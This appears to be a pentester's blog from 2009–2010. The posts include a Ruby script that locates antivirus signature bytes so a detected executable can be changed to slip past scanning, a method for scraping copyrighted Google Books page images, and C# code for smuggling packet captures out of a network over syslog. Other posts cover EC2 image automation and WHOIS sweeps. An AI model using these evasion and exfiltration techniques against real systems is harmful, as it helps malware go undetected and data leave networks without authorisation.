Friday, February 26, 2010

Zeroing in on an AV signature to bypass detection

I was watching some InfinityExists videos yesterday talking about bypassing AV detection by modifying the executable itself. I thought of writing an automated file chopper which will zero-in on the part which AV is detecting to be malicious. That way I can directly analyze the offset and do not have to manually find it ( for the most part ).

Script has 2 phases:

In Phase 1 it recursively chops up the files into smaller chunks divisible by 2 and figures out minimal set of bytes required to trigger AV.

For example:

Original File Size: 600
Derived File Sizes: 600->300->150....
Every chunk is scanned with ClamaV via Ruby library and the part that is "clean" is discarded.

Phase 2 is taking the last successful AV detected file chunk and makes it even smaller by shrinking with predefined increment.

File Size ( phase 1 ): 150
Increment: 10
Derivative File Sizes: 150->140->130 ...

This way we can get closer to the actual piece triggering the AV.


Sample Run with original file size of 37888 bytes and phase 2 increment of 100 bytes.


dimas@appdev1:~/Code/vira$ ./chopfile.rb -f /tmp/msf3/data/templates/template.exe
Positive: /tmp/X_0-18944: Worm.Palevo-1
Positive: /tmp/X_0-9472: Worm.Palevo-1
Positive: /tmp/X_0-4736: Worm.Palevo-1
Positive: /tmp/X_0-2368: Worm.Palevo-1

======== G R A P H ===========
|X_0-18944
|-X_0-9472
|--X_0-4736
|---X_0-2368
Positive: /tmp/XA_0-2268: Worm.Palevo-1
Positive: /tmp/XA_0-2168: Worm.Palevo-1
Positive: /tmp/XA_0-2068: Worm.Palevo-1
Positive: /tmp/XA_0-1968: Worm.Palevo-1
Positive: /tmp/XA_0-1868: Worm.Palevo-1
Positive: /tmp/XA_0-1768: Worm.Palevo-1
Positive: /tmp/XA_0-1668: Worm.Palevo-1
Positive: /tmp/XA_0-1568: Worm.Palevo-1
End of 100 chain

======== G R A P H ===========
|XA_0-2268
|-XA_0-2168
|--XA_0-2068
|---XA_0-1968
|----XA_0-1868
|-----XA_0-1768
|------XA_0-1668
|-------XA_0-1568



Some quick and dirty Ruby code.



#!/usr/bin/env ruby



require 'optparse'

require 'clamav'





def bin_chop(pos_A,pos_Z,fp)



        payload=""



        splitmark=(pos_Z-pos_A)/2



        if splitmark <= 1

            return

        end







        fi=File.open(fp,"rb:binary")    





        fi.sysseek(pos_A, IO::SEEK_SET)

        fi.sysread(splitmark,payload)



        fc1="/tmp/X_" + pos_A.to_s + "-" + splitmark.to_s



        

        fo=File.open(fc1, "wb:binary")

        fo.syswrite(payload)

        fo.close



        cv=ClamAV.new(ClamAV::CL_SCAN_STDOPT)

        result=cv.scanfile(fc1)



        if ( result != 0 )

            puts "Positive: #{fc1}: #{result}"

            cv=nil

            fi.close

            bin_chop(0,File.size(fc1),fc1);

        else

        

            # Negative - Delete!

            File.delete(fc1)



            payload=""



            fi.sysread((pos_Z-splitmark),payload)

            fi.close



            fc2="/tmp/X_" + splitmark.to_s + "-" + pos_Z.to_s



            fo=File.open(fc2, "wb:binary")

            fo.syswrite(payload)

            fo.close



            cv=ClamAV.new(ClamAV::CL_SCAN_STDOPT)

            result=cv.scanfile(fc2)



            if ( result != 0 )

                puts "Positive: #{fc2}: #{result}"

                cv=nil

                bin_chop(0,File.size(fc2),fc2);

            else

                # Negative - Delete!

                File.delete(fc2)

                

            end

        end



    

end

def incr_chop(pos_A,pos_Z,fp,increment)

        payload=""



        splitmark=(pos_Z-increment)



        fi=File.open(fp,"rb:binary")    





        fi.sysseek(pos_A, IO::SEEK_SET)

        fi.sysread(splitmark,payload)



        fc1="/tmp/XA_" + pos_A.to_s + "-" + splitmark.to_s



        

        fo=File.open(fc1, "wb:binary")

        fo.syswrite(payload)

        fo.close



        cv=ClamAV.new(ClamAV::CL_SCAN_STDOPT)

        result=cv.scanfile(fc1)



        if ( result != 0 )

            puts "Positive: #{fc1}: #{result}"

            cv=nil

            fi.close

            incr_chop(0,File.size(fc1),fc1,increment);

        else

        

            # Negative - Delete!

            puts "End of #{increment} chain"

            cv=nil

            fi.close

            File.delete(fc1)

        end





    

end





meta = Hash.new;

opts=OptionParser.new



opts.on("-f", "--filepath VAL", String) {|val| meta[:fp]=val}

rest=opts.parse(ARGV)



if ( !meta[:fp].nil? and ( File.exists?(meta[:fp]) and File.readable?(meta[:fp]) ))



    # Phase I

    bin_chop(0,File.size(meta[:fp]),meta[:fp])



    puts "\n\t======== G R A P H ===========\n"

    Dir.chdir("/tmp")

    files = Dir["X_*"]

    sorted = files.sort {|a,bFile.size(a) <=> File.size(b)}

    sorted.reverse.each_with_index do |fl,i|

        puts "\t\t|" + "-"*i + fl

    end



    # Phase II



    

    incr_chop(0,File.size(sorted.shift),sorted.shift,100)



    puts "\n\t======== G R A P H ===========\n"

    Dir.chdir("/tmp")

    files = Dir["XA_*"]

    sorted = files.sort {|a,bFile.size(a) <=> File.size(b)}

    sorted.reverse.each_with_index do |fl,i|

        puts "\t\t|" + "-"*i + fl

    end

    

else

    puts "invalid"

    puts opts.to_s

    raise Exception

end











Monday, June 29, 2009

Translating forbidden URLs

This summary is not available. Please click here to view the post.

Tuesday, June 2, 2009

Google Books Spidering

I don't usually read books on Google Books. The scans are not of the best quality and they do not allow me to conveniently print a page or two for offline reading. This is apparently discouraged by Google. It's supposed to be a "demo" site for further buying experience and I am fine with that.
This post is not meant to discuss the merits of "crippled" demos. I actually wanted to talk a little about content protection Google chose to employ for the content.

In my mind, if you are trying to prevent content sifting or crawling ( and the obviously do since there is a copyright notice on every page), you should evaluate more methods of protection than obfuscating Javascript code fetching images of scanned pages into the browser. You should not rely on AJAX calls to eliminate first generation spidering (href). You should not allow incomplete URL parameter randomization, and you SHOULD tie requests to an existing session.

So, on to the example.
Suppose I like Ruby by Example Book, and I do not agree with Google's TOS, and I want to use the book's content for my own purposes.
Every page of the book scan I am interested in gets fetched with XHR from google and rendered in the browser. Breaking on the request and following it around lands me into the following format JSON response.


Content-Type: application/javascript; charset=UTF-8
Server: OFE/0.1
Content-Length: 2496

{"page":[{"pid":"PR21","src":"http://books.google.com/books?id=kq2dBNdAl3IC\x26pg=PR21\x26img=1\x26zoom=3\x26hl=en\x26sig=ACfU3U2ydqAZXhIBKIH1XKTJhS4Ay2IXkg","highlights":[{"X":370,"Y":51,"W":26,"H":11},{"X":139,"Y":93,"W":19,"H":10},{"X":218,"Y":119,"W":19,"H":10},{"X":352,"Y":186,"W":26,"H":11},{"X":230,"Y":214,"W":25,"H":11},{"X":417,"Y":255,"W":26,"H":11},{"X":493,"Y":269,"W":23,"H":11},{"X":370,"Y":449,"W":25,"H":11},{"X":402,"Y":490,"W":26,"H":11},{"X":139,"Y":585,"W":22,"H":11},{"X":320,"Y":614,"W":23,"H":11},{"X":146,"Y":681,"W":21,"H":9},{"X":158,"Y":690,"W":20,"H":9},{"X":139,"Y":699,"W":20,"H":9}],"flags":0,"order":22,"uf":"http://books.google.com/books_feedback?id=kq2dBNdAl3IC\x26spid=ygOBAha9Lj5wEmJbb7L0E4AMedYBAAAAEwAAAAvsLgsil0rRCj9QbBB0CmBqRC_Lik05VtZnyTK-XBfQ\x26ftype=0","vq":"ruby by


..... Many more goes here.

This blob is processed by and obfuscated long-name JS file which puts into the DOM and renders in the browser. Let's say it's irrelevant at the moment.

Look at the following snippet from JSON response:


"src":"http://books.google.com/books?id=kq2dBNdAl3IC\x26pg=PR21\x26img=1\x26zoom=3\x26hl=en\x26sig=ACfU3U2ydqAZXhIBKIH1XKTJhS4Ay2IXkg


OK, \x26 is really &. Otherwise, it's a valid url 3-time zoomed image of page 21 of the book id=kq2dBNdAl3IC .

Also there is a dynamic signature of the page at the end: sig=ACfU3U2ydqAZXhIBKIH1XKTJhS4Ay2IXkg

Every page of this book has different signature. However, look at the following 2 requests:


http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA102&img=1&zoom=3&hl=en&sig=ACfU3U0j7KKM_nSZ5HTwPQxpka2gDwJFsQ
http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA103&img=1&zoom=3&hl=en&sig=ACfU3U2itwtHSRsi3gGA_1uqDFYlX76BqA


There is a non-random element at the beginning of the payload. I am not going to go into how we can try and brute force or fuzz the signature here, or how to read client-side JS file to figure out what that signature consists of. The point is that the content navigation is not tied to session cookies or any other UI navigation data. Simple GET on the URL fetches the image of a page.

All you have to do now it to set your favorite web proxy to log URLs for JPEGs conforming to ".*sig=ACfU3U.*" and iterate the pages. You don't even need to capture the content yet.

Google does the job of fetching all the pages once you start mouse-scrolling in the book DIV. So you scroll through the whole book, then you go to you proxy log and pick up the following records (substituting the \x26 -> & ).


http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA102&img=1&zoom=3&hl=en&sig=ACfU3U0j7KKM_nSZ5HTwPQxpka2gDwJFsQ
http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA103&img=1&zoom=3&hl=en&sig=ACfU3U2itwtHSRsi3gGA_1uqDFYlX76BqA
http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA105&img=1&zoom=3&hl=en&sig=ACfU3U0SJesKmEQ2HUl2ntgNVBIrLK7UHQ
http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA106&img=1&zoom=3&hl=en&sig=ACfU3U3i-gOkxdtYfeGLd7CFsRGZiPnT_Q
http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA107&img=1&zoom=3&hl=en&sig=ACfU3U0FbGnYvyAY2T6uGV9rA-bY0J4cvw
http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA10&img=1&zoom=3&hl=en&sig=ACfU3U3B0rfiUmevGsmVHgLEDN3sxANqkg
http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA11&img=1&zoom=3&hl=en&sig=ACfU3U3uXbNxXALDKMG-OZ2bEGVlzN3JaA
http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA13&img=1&zoom=3&hl=en&sig=ACfU3U0Bb32Lu4L9KzlCRS1gbURVfNcklA
http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA14&img=1&zoom=3&hl=en&sig=ACfU3U1HVLZyKZBfm9y01Ly-Lp6AEo7B8Q
http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA15&img=1&zoom=3&hl=en&sig=ACfU3U3aVGlHL9Sph_ttbm7tfSWVNyyFMQ
http://books.google.com/books?id=kq2dBNdAl3IC&pg=PA16&img=1&zoom=3&hl=en&sig=ACfU3U1CFrpu9LiQwuS1HIcsYu6qBrNppg


You now plug it into the script (curl will do, so will wget) to fetch the book's content.

Now, I have not researched it enough, but I wonder if Watir or Selenium, or other browser automation frameworks can scroll the content for you and automate the process altogether.

I don't encourage anyone to actually copy Google's content - go buy the book if you like it, because the people who suffer most from copying are the authors.
However, the idea here is - how does Google plan to protect my data tomorrow if it cannot protect something it makes money on today.

Monday, June 1, 2009

Pcap2Syslog for .NET or Stuck transferring PCAP over UDP

I was recently in a situation where I wanted to transfer some fairly large .pcap file (1GB) from the internal network as part of the engagement. I did have direct HTTP connectivity to the outside (proxied and monitored for illegal sites) so I tried HTTP uploads but for some reason my transfers were getting dropped after about 5 megs into the transfer. I had no control over the issue and frankly I did not want to go even deeper than I already was. I think I was in the "3rd" tier with all nice policies applied to users like me so we are not able to waste company's time surfing the internet :) Anyway, all I had was DNS outbound for resolution, crippled HTTP and a Syslog. Don;t ask me why Syslog was enabled to the internet. Probably for monitoring or data collection purposes for manged service provider or something like that.

I started thinking of chopping my pcap into smaller chunks and doing the upload. I knew exactly what I would do on *nix and had scripts made for similar purpose but I happened to be on Windows and did not readily know what tools I would use.

So DNS or Syslog?

I did not yet research tools to allow me to chop up some binary data (such as PCAP), package them in smaller chunks ( Base 64 or not ) and shove them over DNS tunnel. I am sure they do exist and most likely many smart folks out there can point me to the ones they prefer. To date, I was ok bypassing content filtering with XML/RPC streams over HTTP(S). Not this time though.

Syslog? Well, it is foreign to Windows to begin with... What are the chances of getting the right tools fast enough to parse PCAP and transform them into syslog messages. I gather there would be enough dependencies to deter me ( or detect my activities) from doing so. Yeah, Cygwin comes to mind..

OK, start thinking outside the box. I have VS2008 so I have access to .Net libraries. But what can parse PCAP and which library can generate syslog messages? Well Syslog is a simple protocol and message generation can be accomplished with plain Sockets, something like this.
Indeed, all you need is


using System.Net;
using System.Net.Sockets;

and in a nutshell:

1. Instantiate UDP transport

udp = new UdpClient(ipAddress, 514);

2. Build Syslog String according to the RFC:

string[] strParams = { priority.ToString()+": ", time.ToString("MMM dd HH:mm:ss "),
machine,
body };

3. Send the chunk out.

rawMsg = ascii.GetBytes(string.Concat(strParams));
udp.Send(rawMsg, rawMsg.Length);
udp.Close();


Answer to the first question came in the form of Sharppcap . It;s a standalone assembly which lives in

Tamir.IPLib.SharpPcap.dll.



using System;
using System.Text;
using System.IO;
using Tamir.IPLib;
using Tamir.IPLib.Packets;


Since It can read pcaps offline I can do the following:


//Get an offline file pcap device
device = SharpPcap.GetPcapOfflineDevice(capFile);
//Open the device for capturing
device.PcapOpen();


Then, of course, you can iterate through packets like so:


while ((packet = device.PcapGetNextPacket()) != null)
{

DateTime ptime = packet.PcapHeader.Date;
int plen = packet.PcapHeader.PacketLength;

// Prints the time and length of each received packet to debug
Console.Write("{0}/{1}/{2} - {3}:{4}:{5}",
ptime.Day, ptime.Month, ptime.Year, ptime.Hour, ptime.Minute, ptime.Second);
StringBuilder sbuilder = new StringBuilder();

// Append to Message builder
sbuilder.Append()

// Either Call Syslog routines from above here,
// or call Syslog classes from here.
}




If you want to send based on filters, only what you want out of the PCAP (say, communication map to and from the host over UDP), then in a while loop you can introduce more laborate processing.


if (packet is UDPPacket) {
DateTime time = packet.Timeval.Date;
int ulen = packet.PcapHeader.PacketLength;
UDPPacket udp = (UDPPacket)packet;
string srcIp = udp.SourceAddress;
string dstIp = udp.DestinationAddress;
int srcPort = udp.SourcePort;
int dstPort = udp.DestinationPort;
Console.WriteLine(" UDP {0}:{1} -> {2}:{3}", srcIp, srcPort, dstIp, dstPort);
sbuilder.Append(String.Format(" UDP {0}:{1} -> {2}:{3}",
srcIp, srcPort, dstIp, dstPort));


// Append to Message builder here if you want
sbuilder.Append()

// Either Call Syslog routines from above here,
// or call Syslog classes from here.

} }

I turned out better than I expected. I filtered what I needed for further analysis, and my partially "interesting" data was sent in short messages over Syslog outbound.

Next, I should really look at DNS covert channels. If anyone has suggestions on tools, please let me know.



Thursday, May 28, 2009

Automating AMI builds for Amazon EC2

I started to use Amazon EC2 cloud for penetration tests. Besides having short-term (costs money) scalable processing power for various tasks it also enables me to care less if automated IPS response blocks my IP. I can always bring up another instance...

Provisioning new instances is not hard. There's now AWS console to take advantage of. Useful and pretty. What's been bugging me is that the EC2 images are snapshots of system configuration that revert back to known configuration. So if I apt-get my system and/or download some software I have to rebuild the image so I don;t loose the work. Yes I can mount S3 persistent storage drive and "try" to install all my software there; and then just move it between instances as I bring them up. However it may not work for me all the time. I want to have an (semi)-automated way of "fixating" changes I make to core system and staring new instances with updated image.





So here is somewhat automated way of building Amazon EC2 AMIs.


#!/bin/bash


usage(){
echo "ERROR: arguments "
}

EC2_HOST="$1"
EC2_SNAPSHOT="$2"

# Environment
EC2_HOME=/usr/local/ec2
EC2_PRIVATE_KEYF=pk-RKxxxxxxxxxxxxxxxxxxxxxx.pem
EC2_PRIVATE_KEY=$EC2_HOME/pk-RKxxxxxxxxxxxxxxxxxxxxxxx.pem
EC2_CERTF=cert-RKxxxxxxxxxxxxxxxxxxxxxxxxx.pem
EC2_CERT=$EC2_HOME/cert-RKxxxxxxxxxxxxxxxxxxxxxxxxxx.pem
EC2_HOST_DIR="/mnt"
EC2_RSA="$EC2_HOME/id_rsa-dxs-keypair"
EC2_ACCT=2245946456456456
EC2_DEFAULT_ARCH=i386

S3_BUCKET="dxs-yZksjhflsaudhflkajsdf"
EC2_ACCESSKEY="05HAPBln3245jk32j45"
EC2_SECKEY="pdyyyyyyyyyyyyyyyyyyyyyyyyyyy"

if [[ $# -ne 2 ]]
then
usage && exit 1
fi


echo "[*] Going to $EC2_HOME"
cd $EC2_HOME

echo "[*] Copying [PRIV] and [CERT] from $EC2_HOME to $EC2_HOST"
scp -i $EC2_RSA $EC2_CERT $EC2_PRIVATE_KEY root@$EC2_HOST:$EC2_HOST_DIR



echo "[*] Building AMI $EC2_SNAPSHOT to $EC2_HOST_DIR"
ssh -i $EC2_RSA root@$EC2_HOST \
"EC2_HOME=$EC2_HOME $EC2_HOME/bin/ec2-bundle-vol -d $EC2_HOST_DIR -k \
$EC2_HOST_DIR/$EC2_PRIVATE_KEYF \
-c $EC2_HOST_DIR/$EC2_CERTF -u $EC2_ACCT -r $EC2_DEFAULT_ARCH -p $EC2_SNAPSHOT"

echo "[*] Uploading AMI $EC2_SNAPSHOT to S3"
ssh -i $EC2_RSA root@$EC2_HOST "EC2_HOME=$EC2_HOME $EC2_HOME/bin/ec2-upload-bundle \
-b $S3_BUCKET -m $EC2_HOST_DIR/${EC2_SNAPSHOT}.manifest.xml -a $EC2_ACCESSKEY -s \
$EC2_SECKEY"

echo "[*] Checking S3 bucket"
/usr/bin/s3cmd ls s3://$S3_BUCKET

echo "[*] Currently Registered Instances"
$EC2_HOME/bin/ec2-describe-images

echo "[*] Registering Instance ${EC2_SNAPSHOT} "
$EC2_HOME/bin/ec2-register $S3_BUCKET/${EC2_SNAPSHOT}.manifest.xml

echo "[*] Newly Registered Instances"
$EC2_HOME/bin/ec2-describe-images If

You may need to fetch Amazon AMI Tools and creating AMI build environment
on EC2 instance if you don;t have it yet.

#echo "[*] Getting ec2-ami-tools from AMAZON"
wget http://s3.amazonaws.com/ec2-downloads/ec2-ami-tools.zip -o /tmp/ec2-ami-tools.zip

#echo "[*] Getting ec2-ami-tools to $EC2_HOST"
scp -i $EC2_RSA /tmp/ec2-ami-tools.zip root@$EC2_HOST:$EC2_HOST_DIR

#echo "[*] Making $EC2_HOME on $EC2_HOST"
ssh -i $EC2_RSA root@$EC2_HOST "mkdir -p /usr/local/ec2"


Of course, there's no limit to how automated you can make it.

Wednesday, May 27, 2009

Querying WHOIS Webservice with Powershell

There's an interesting WHOIS Web service at TryNT. If you are scanning a range of addresses trying to determine the owner it's useful to automate.

Apparently TryNT gets banned from certain IP ranges, or simply going too hard at Whois servers, so sometimes the query returns error. But for the most part it works.

Here's how one can query Whois via TryNT webService:



PS C:\Users\dxs\Code\powershell> gc .\Whois-Webservice.ps1
function IpOwner(

[string]$ip="4.2.2.2"
){

BEGIN{
$whois=@{"query"=$ip};
$ErrorActionPreference="SilentlyContinue"
}

PROCESS {

#$uri="http://75.101.151.29/whois-api/v1/?h="+$ip+"&f=0"
$uri="http://www.trynt.com/whois-api/v1/?h="+$ip+"&f=0"
$resp=[xml](New-Object -TypeName System.Net.WebClient).Downloadstring($uri)
$whois.Add("organization",
$($resp.SelectNodes(
"descendant::Trynt/Whois/regrinfo/owner/organization") |
% { $_.InnerXml}) )
$whois.Add("TechEmail",
$($resp.SelectNodes(
"descendant::Trynt/Whois/regrinfo/tech/email") |
% { $_.InnerXml}) )
}

END{
Write-Host $whois.Values
}
}


1..254 | % { sleep(2); IpOwner("124.$_.165.1") }

The run:


PS C:\Users\dxs\Code\powershell> .\Whois-Webservice.ps1
SK Networks co., Ltd 124.1.165.1
WADONG ELEMENTARY SCHOOL 5ypascal@lycos.co.kr 124.2.165.1
Jeonrabukdo Wanju Education Office i3cc11@hanmail.net 124.3.165.1
GE Capital International Services munish.dargan@ge.com 124.4.165.1
KuRO TV noc@cnm.co.kr 124.5.165.1
NETWORK_VISMIN_DSL_IP_POOL aaa81020@globenet.com.ph 124.6.165.1
SIFY INFRASTRUCTURE ipadmin@sifycorp.com 124.7.165.1
Taiwan Fixed Network CO.,LTD. steve_huang@howin.com.tw 124.8.165.1
Taiwan Fixed Network CO.,LTD. steve_huang@howin.com.tw 124.9.165.1
Taiwan Fixed Network CO.,LTD. steve_huang@howin.com.tw 124.10.165.1
Taiwan Fixed Network CO.,LTD. steve_huang@howin.com.tw 124.11.165.1
Taiwan Fixed Network CO.,LTD. steve_huang@howin.com.tw 124.12.165.1
TELEKOM MALAYSIA BERHAD ssc@tmnet.com.my 124.13.165.1
6F Greatwall Bldg., A38 Xueyuan Road Haidian District,Beijing speed0822@sina.com 124.14.165.1
6F Greatwall Bldg., A38 Xueyuan Road Haidian District,Beijing speed0822@sina.com 124.15.165.1
China Science & Technology Network lihong@cstnet.net.cn 124.16.165.1



Syncing NirSoft Repository

Nirsoft has a great collection of tools streamlining some aspects of offensive penetration and system management. If you are stuck without your toolkit, it's possible to automaticaly sync Nirsoft repository to your local cache and go from there. The site posts directory of utils here
Each XML file describes individual utility including direct download link which we can use to cync the depots.

Here's my Powershell script.



PS C:\Users\dxs\Code\powershell> gc .\SyncNirsoft.ps1


function GetNirSoftUtils(
$padLink=[string]"http://www.nirsoft.net/pad/pad-links.txt"

){

BEGIN{
Write-host "Getting PAD link"
$webclient=(New-Object -Type System.Net.WebClient)
$webclient.DownloadFile($padlink,"$(pwd)\pad-links.txt")
$padidx=$( Get-ChildItem $(pwd) "*.txt" | %{ $_.Name } )
write-host "Gotten: $padidx"

}
PROCESS{
Write-host "Getting PAD XML Links"
foreach ( $padxmllnk in $(Get-Content $padidx )){

# strip http:// for filesystem operation
$padxmllnkfs=$padxmllnk -replace "http://", ""

# basename the file (i.e /path/to/file -> file )
$padxmlfs=(split-path $padxmllnkfs -leaf).split("/")[-1]

# Conform to full path
$padxmlfs="$(pwd)\$padxmlfs"

# Download XML index files
Write-Host "Getting Index $padxmllnk --> $padxmlfs "
#$webclient.DownloadFile($padxmllnk,"$padxmlfs")

# Parsing Index and Getting Depot Download links
$depotids=[XML](Get-Content $padxmlfs )
$depotURL=$($depotids.SelectNodes(
"descendant::Web_Info/Download_URLs/Primary_Download_URL") |
% { $_.Inner

Xml})


# strip http:// for filesystem operation
$depotfs=$depotURL -replace "http://", ""

# basename the file (i.e /path/to/file -> file )
$depotfs=(split-path $depotfs -leaf).split("/")[-1]

# Conform to full path
$depotfs="$(pwd)\$depotfs"
Write-Host "Getting Depot $depotURL --> $depotfs "

$webclient.DownloadFile($depotURL,"$depotfs")

}
}
END{
Write-host "end"
}

}








Runtime example:


PS C:\Users\dxs\Code\powershell> .\SyncNirsoft.ps1
Getting PAD link
Gotten: pad-links.txt
Getting PAD XML Links
Getting Index http://www.nirsoft.net/pad/acm.xml --> C:\Users\dxs\Downloads\Nirsoft-PAD\acm.xml
Getting Depot http://www.nirsoft.net/utils/acm.zip --> C:\Users\dxs\Downloads\Nirsoft-PAD\acm.zip